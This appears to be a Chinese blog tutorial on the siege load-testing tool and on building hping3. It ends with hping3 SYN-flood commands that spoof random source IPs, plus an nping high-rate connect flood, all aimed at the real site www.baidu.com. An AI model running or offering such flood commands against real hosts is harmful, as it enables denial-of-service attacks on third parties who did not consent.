sige压力测试和hping3发包工具(初稿)

发布时间:2020-08-06 05:53:02 作者:九幽心
来源:网络 阅读:4017

siege

[root@localhost siege-4.0.2]# tar xf siege-latest.tar.gz

[root@localhost siege-4.0.2]# ./configure &&make &&make install

 

安装完后,配置文件在/root/.siege/

 

Siege命令常用参数

-R 指定特定的配置文件来运行

-l 运行将结果保存于日志文件中,默认位于/var/log/siege.log

-c 200 指定并发数200
-r 5 指定测试的次数5  
-f urls.txt 制定url的文件
-i internet系统,随机发送url
-b 请求无需等待 delay=0
-t 5 持续测试5分钟

-u   指定一个网址,进行***
# -r-t一般不同时使用

 

# 200个并发对http://www.google.com发送请求100

siege -c 200 -r 100 www.google

 

# urls.txt中列出所有的网址

siege -c 200 -r 100 -f urls.txt

 

# 随机选取urls.txt中列出所有的网址

siege -c 200 -r 100 -f urls.txt -i

 

# delay=0,更准确的压力测试,而不是功能测试

siege -c 200 -r 100 -f urls.txt -i -b

 

# 指定http请求头 文档类型

siege -H Content-Yype:application/json -c 200 -r 100 -f urls.txt -i -b

 

Siege输出结果说明

Transactions: 总共测试次数
Availability: 成功次数百分比
Elapsed time: 总共耗时多少秒
Data transferred: 总共数据传输
Response time: 等到响应耗时
Transaction rate: 平均每秒处理请求数
Throughput: 吞吐率
Concurrency: 最高并发

Successful transactions: 成功的请求数
Failed transactions: 失败的请求数

 

 

Siege使用的一些总结

1,发送post请求时,url格式为:http://www.xxxx.com/ POST p1=v1&p2=v2
2,如果url中含有空格和中文,要先进行url编码,否则siege发送的请求url不准确

添加

siege -C 可以查看相关的配置参数,可以自行修改,比如是否显示log,超时时间

 

 

 

 

 

 

 

hping3

[root@localhost ~]# tar xf hping3-20051105.tar.gz

[root@localhost ~]# cd hping3-20051105

[root@localhost ~]# cd hping3-20051105

[root@localhost hping3-20051105]# ./configure

creating Makefile...

creating dependences...

In file included from ars.h:20,

                 from apd.c:19:

bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h

In file included from apd.c:19:

ars.h:190:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:254:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:323:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

In file included from ars.h:20,

                 from ars.c:24:

出现这个报错。

[root@localhost hping3-20051105]# vi bytesex.h //加上一句话

#if     defined(__i386__) \

    || defined(__x86_64__) \

    || defined(__alpha__) \

    || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

 

 

[root@localhost hping3-20051105]# make

gcc -c -O2 -Wall    -g  main.c

main.c:29:18: error: pcap.h: No such file or directory

main.c:169: error: expected =, ,, ;, asmor __attribute__before *token

main.c:170: error: PCAP_ERRBUF_SIZEundeclared here (not in a function)

make: *** [main.o] Error 1

 

[root@bogon hping3-20051105]# yum -y install libpcap

[root@bogon hping3-20051105]# yum -y install libpcap-devel

[root@bogon hping3-20051105]#ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h

[root@bogon hping3-20051105]# yum -y install tcl-devel

[root@bogon hping3-20051105]# make

[root@bogon hping3-20051105]# make strip

[root@bogon hping3-20051105]# make install

cp -f hping3 /usr/sbin/

chmod 755 /usr/sbin/hping3

ln -s /usr/sbin/hping3 /usr/sbin/hping

ln -s /usr/sbin/hping3 /usr/sbin/hping2

@@@@@@ WARNING @@@@@@

Can't install the man page: /usr/local/man/man8 does not exist

[root@bogon hping3-20051105]# hping

hping   hping2  hping3  

 

SYN洪水***:

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.baidu.com -i u1000

-c 发送数据包数量

-d 发送到目标机器每个数据包大小

-S 只发送SYN数据包

-w tcp窗口大小

-p 目的端口

--flood 洪水模式,不考虑显示入站回复

--rand-source 使用随机性源头IP地址 -a 或者 -spoof来隐藏主机名

www.baidu.com   目标IP或者网址

-i   每个包时间间隔,u10001000微秒

 

简单的SYN洪水***:

hping3 -S -P -U --flood -V -rand-source www.baidu.com

-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。

-a 1.1.1.1 --spoof doo   -a是隐藏IP--spoof是隐藏主机名

 

nping  --tcp-connect -rate=90000 -c 900000 -q www.baidu.com


推荐阅读:
  1. MySQL压力测试工具使用
  2. 压力测试工具Benchttp怎么用

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

web 压力测试 sige

上一篇:IPC之消息队列·即时通讯小程序(一)

下一篇:如何复制指定日期之后的文件(例如只复制今天生成的文件)

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》